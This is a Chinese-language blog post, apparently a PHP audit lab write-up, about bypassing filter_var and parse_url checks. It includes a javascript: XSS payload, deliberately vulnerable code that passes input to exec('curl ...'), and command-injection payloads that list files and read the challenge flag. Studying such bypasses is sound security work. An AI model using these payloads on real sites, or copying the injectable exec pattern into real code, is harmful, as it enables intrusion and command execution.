S1xHcL's Blog.

PHP-Audit Day02 filter_var()函数缺陷

Word count: 1.2kReading time: 5 min
2021/10/02 Share

函数学习

htmlspecialchars :(PHP 4, PHP 5, PHP 7)

功能 :将特殊字符转换为 HTML 实体

定义 :string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string$encoding = ini_get(“default_charset”) [, bool $double_encode = TRUE ]]] )

1
2
3
4
5
& (& 符号)  ===============  &
" (双引号) =============== "
' (单引号) =============== '
< (小于号) =============== &lt;
> (大于号) =============== &gt;

filter_var : (PHP 5 >= 5.2.0, PHP 7)

功能: 使用特定的过滤器过滤一个变量

定义mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

Demo学习

1
2
3
4
5
6
7
8
<?php
$url = filter_var($_GET['url'], FILTER_VALIDATE_URL);
var_dump($url);
$url = htmlspecialchars($url);
var_dump($url);
echo "<a href='$url'>Next Slide >> </a>";

?>

针对这两处过滤,可以使用JavaScript伪协议来绕过

1
2
Payload:
?url=javascript://test%250aalert(1)

//在Javascript中表示单行注释,后面的内容就会被过滤掉。但我们使用了%0a即换行符,将后面alert(1)要执行的弹框语句换行到了下一行,从而绕过注释限制实现弹框。

而这里的%250a是经过了两次URL编码处理,在我们发送给浏览器的过程中,它会自动进行一次URL编码后存储在$url变量中,所以将% 编码为 %25。现在当用户点击链接后就会触发alert(1)函数。

案例学习

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}

}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>
1
2
3
4
// f1agi3hEre.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

环境

  • Windows10
  • php 5.6.27 + Apache
  • phpstudy

分析

简单分析一下代码,绕过限制命令执行读取flag值。需要先绕过filter_var()parse_url函数的限制,然后在preg_match()判断是否以sec-redclub.com结尾,然后再通过exec()函数执行命令。

为方便将代码拆分为两部分分别来绕

  1. 绕过限制
  2. 命令执行

绕过限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)) {
print_r(parse_url($url));
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
echo "<br>";
echo $site_info['host'];
}
else{
echo "不符合prge_match规则<br>";
echo "$site_info";
}
}
else
{
echo "<h1>error</h1>";
}
?>

首先来绕过filter_var()函数中的FILTER_VALIDATE_URL过滤器

1
2
3
4
5
6
7
8
9
# 这里是部分可绕过限制的payload

http://127.0.0.1/index.php?url=http://demo.com@sec-redclub.com
http://127.0.0.1/index.php?url=http://demo.com&sec-redclub.com
http://127.0.0.1/index.php?url=http://demo.com?sec-redclub.com
http://127.0.0.1/index.php?url=http://demo.com/sec-redclub.com
http://127.0.0.1/index.php?url=demo://demo.com,sec-redclub.com
http://127.0.0.1/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://127.0.0.1/index.php?url=http://demo.com%23sec-redclub.com

接下来绕过parse_url()函数,并且要满足$site_info['host']的值以sec-redclub.com结尾

1
2
Payload:
http://127.0.0.1/index.php?url=demo://demo.com,sec-redclub.com

命令执行

1
2
3
4
5
6
7
8
9
10
11
<?php

$cmd = $_GET['cmd'];

exec('curl "'.$cmd.'"', $result);

echo "<h1>You have exec {$cmd} successfully!</h1>";
echo 'curl "'.$cmd.'"';

echo implode(' ', $result);
?>

在Linux环境中,可通过; && 等符号进行命令拼接

当前在Windows环境中,可通过& | 等符号进行命令拼接

1
2
3
4
commandA | commandB   # 不管A成功还是失败,两着都会执行,但只输出B的结果
commandA || commandB # 先执行命令A,如果失败则再执行命令B
commandA & commandB # 先输出命令A,然后输出命令B
commandA && commandB # 如果命令A没有执行成功,就不会执行命令B

但是命令和参数不加空格无法执行命令,回到代码中进行测试

后经过测试,发现可以用=来代替空格

1
Payload:?cmd=%22%7Cchdir%3D

读取flag

测试后两处限制都已经绕过,回到原题组合命令来读取flag值

1
2
3
Payload:
?url=demo://"|dir=,||sec-redclub.com # 列目录
?url=demo://"|type=flag.php,||sec-redclub.com # 查看flag

CATALOG
  1. 1. 函数学习
    1. 1.1. Demo学习
  2. 2. 案例学习
    1. 2.1. 源码
    2. 2.2. 环境
    3. 2.3. 分析
      1. 2.3.1. 绕过限制
      2. 2.3.2. 命令执行
      3. 2.3.3. 读取flag